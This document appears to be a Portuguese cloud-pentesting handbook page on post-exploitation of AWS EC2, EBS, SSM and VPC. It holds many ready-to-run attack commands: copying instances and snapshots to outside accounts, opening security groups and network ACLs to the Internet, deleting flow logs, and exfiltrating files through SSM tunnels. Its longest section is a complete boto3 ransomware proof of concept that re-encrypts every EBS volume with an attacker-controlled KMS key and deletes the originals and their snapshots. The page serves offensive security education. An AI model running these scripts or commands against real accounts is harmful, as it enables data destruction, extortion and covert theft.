AWS - EC2, EBS, SSM & VPC Pós-exploração

Reading time: 19 minutes

EC2 & VPC

Para mais informações, consulte:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplica o tráfego de entrada e saída das instâncias EC2 dentro de uma VPC sem a necessidade de instalar nada nas próprias instâncias.
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:

Para mais informações, veja esta página:

AWS - Malicious VPC Mirror

Copiar Instância em Execução

As instâncias normalmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar nelas (ver EC2 privilege escalation tricks). No entanto, outra forma de verificar o que elas contêm é criar uma AMI e iniciar uma nova instância (mesmo na sua própria conta) a partir dela:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots são backups de volumes, que geralmente conterão informação sensível, portanto verificá-los deve revelar essa informação.
Se você encontrar um volume without a snapshot você poderia: Create a snapshot e executar as ações a seguir ou simplesmente montá-lo em uma instance dentro da conta:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Exporte um EC2 AMI diretamente para S3 usando CreateStoreImageTask para obter uma imagem de disco bruta sem snapshot sharing. Isto permite forense offline completa ou data theft enquanto mantém a rede da instance intacta.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Anexe um volume io1/io2 Multi-Attach a uma segunda instance e monte-o em modo somente leitura para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instances privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras SG vinculadas a endereços específicos.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Reassocie um Elastic IP da instance vítima para o atacante para interceptar tráfego inbound ou originar conexões outbound que aparentem vir de IPs públicos confiáveis.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Se uma regra de security group referenciar uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso através de todas as regras SG dependentes sem modificar o SG em si.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Crie gateway ou interface VPC endpoints para recuperar acesso outbound de subnets isoladas. Aproveitar AWS-managed private links contorna controles IGW/NAT ausentes para exfiltração de dados.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras inbound a security groups (por exemplo, permitindo tcp:80 from 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou similares) pode modificar os Network ACLs (NACLs) de uma subnet para torná-los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, NACLs são aplicados no nível da subnet, então mudar um NACL restritivo pode ter um blast radius muito maior ao habilitar acesso a muitos mais hosts.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos e configurações críticas da infraestrutura — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, grupos de segurança ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses.

One example is deleting a security group:

aws ec2 delete-security-group
--group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Aponte VPC Flow Logs para um S3 bucket controlado pelo atacante para coletar continuamente metadados de rede (origem/destino, portas) fora da conta da vítima para reconhecimento de longo prazo.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Mesmo se você bloquear um EC2 para que nenhum tráfego saia, ele ainda pode exfil via DNS.

• VPC Flow Logs will not record this.
• Você não tem acesso aos logs DNS da AWS.
• Desative isso definindo "enableDnsSupport" para false com:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Um atacante pode chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.

Abrir grupo de segurança

Você pode obter mais acesso a serviços de rede abrindo portas assim:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc para ECS

É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e depois roubar os dados das instâncias ECS.

Para mais informações, consulte isto.

Remover VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Permissões necessárias:

• ssm:StartSession

Além da execução de comandos, o SSM permite traffic tunneling, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs. Um dos cenários em que isto é útil é pivoting a partir de um Bastion Host para um EKS cluster privado.

Para iniciar uma sessão você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Instale o SessionManagerPlugin na sua máquina
2. Faça login no Bastion EC2 usando o seguinte comando:

aws ssm start-session --target "$INSTANCE_ID"

3. Obtenha as credenciais temporárias AWS do Bastion EC2 com o script Abusing SSRF in AWS EC2 environment
4. Transfira as credenciais para sua própria máquina no arquivo $HOME/.aws/credentials como o perfil [bastion-ec2]
5. Faça login no EKS como o Bastion EC2:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>

6. Atualize o campo server no arquivo $HOME/.kube/config para apontar para https://localhost
7. Crie um túnel SSM da seguinte forma:

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>

8. O tráfego da ferramenta kubectl agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado a partir da sua própria máquina executando:

kubectl get pods --insecure-skip-tls-verify

Note que as conexões SSL falharão a menos que você defina a flag --insecure-skip-tls-verify (ou seu equivalente em K8s audit tools). Como o tráfego é tunelado através do túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataques MitM.

Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para pivot para qualquer outro serviço AWS ou uma aplicação customizada.

Encaminhamento Rápido Local ↔️ Remoto de Porta (AWS-StartPortForwardingSession)

Se você só precisa encaminhar uma porta TCP do EC2 instance para sua máquina local você pode usar o documento SSM AWS-StartPortForwardingSession (no remote host parameter required):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

O comando estabelece um túnel bidirecional entre sua workstation (localPortNumber) e a porta selecionada (portNumber) na instância sem abrir nenhuma regra de Security-Group de entrada.

Common use cases:

• File exfiltration

1. Na instância, inicie rapidamente um servidor HTTP que aponte para o diretório que você quer exfiltrate:

python3 -m http.server 8000

2. A partir da sua workstation, recupere os arquivos através do túnel SSM:

curl http://localhost:8000/loot.txt -o loot.txt

• Accessing internal web applications (e.g. Nessus)

# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Dica: Compress e encrypt as evidências antes de exfiltrating-as, para que CloudTrail não registre o conteúdo em clear-text:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Compartilhar AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Pesquisar informações sensíveis em AMIs públicas e privadas

• https://github.com/saw-your-packet/CloudShovel: CloudShovel é uma ferramenta projetada para pesquisar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas. Ela automatiza o processo de iniciar instâncias a partir das AMIs alvo, montar seus volumes e procurar por possíveis segredos ou dados sensíveis.

Compartilhar EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deveria ser renomeado para RMS (Ransomware Management Service), dada a facilidade de usá-lo para criptografar vários serviços AWS.

Primeiro, a partir de uma conta AWS 'attacker', crie uma customer managed key no KMS. Neste exemplo vamos simplesmente deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra de política que permite acesso total chama-se 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

A regra da key policy precisa das seguintes permissões habilitadas para permitir o uso dela para criptografar um volume EBS:

• kms:CreateGrant
• kms:Decrypt
• kms:DescribeKey
• kms:GenerateDataKeyWithoutPlainText
• kms:ReEncrypt

Agora com a key publicamente acessível para uso. Podemos usar uma conta 'vítima' que tem algumas instâncias EC2 rodando com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'vítima' são o alvo para criptografia; este ataque é realizado sob o pressuposto de comprometimento de uma conta AWS de alto privilégio.

Semelhante ao exemplo de ransomware em S3. Esse ataque irá criar cópias dos volumes EBS anexados usando snapshots, usar a key publicamente disponível da conta 'atacante' para criptografar os novos volumes EBS, então desanexar os volumes EBS originais das instâncias EC2 e deletá-los, e então finalmente deletar os snapshots usados para criar os novos volumes EBS criptografados.

Isso resulta em apenas volumes EBS criptografados restantes disponíveis na conta.

Também vale notar que o script interrompeu as instâncias EC2 para desanexar e deletar os volumes EBS originais. Os volumes originais não criptografados foram removidos.

Em seguida, volte para a key policy na conta 'atacante' e remova a regra de policy 'Outside Encryption' da key policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Aguarde um momento para a nova política da chave propagar. Em seguida, retorne à conta 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você verá que consegue anexar o volume.

Mas quando você tenta, de fato, iniciar a instância EC2 com o volume EBS criptografado ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política da chave não permite mais.

Este é o script python usado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN público da AWS para a key a ser usada na criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então irá parar cada instância EC2, desanexar os volumes EBS originais, deletá-los e, finalmente, deletar todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E IRÁ DELETAR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao estado original via snapshots, mas apenas quero deixar claro que isto é um ransomware PoC, no fim das contas.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Referências

• Pentest Partners – Como transferir arquivos na AWS usando SSM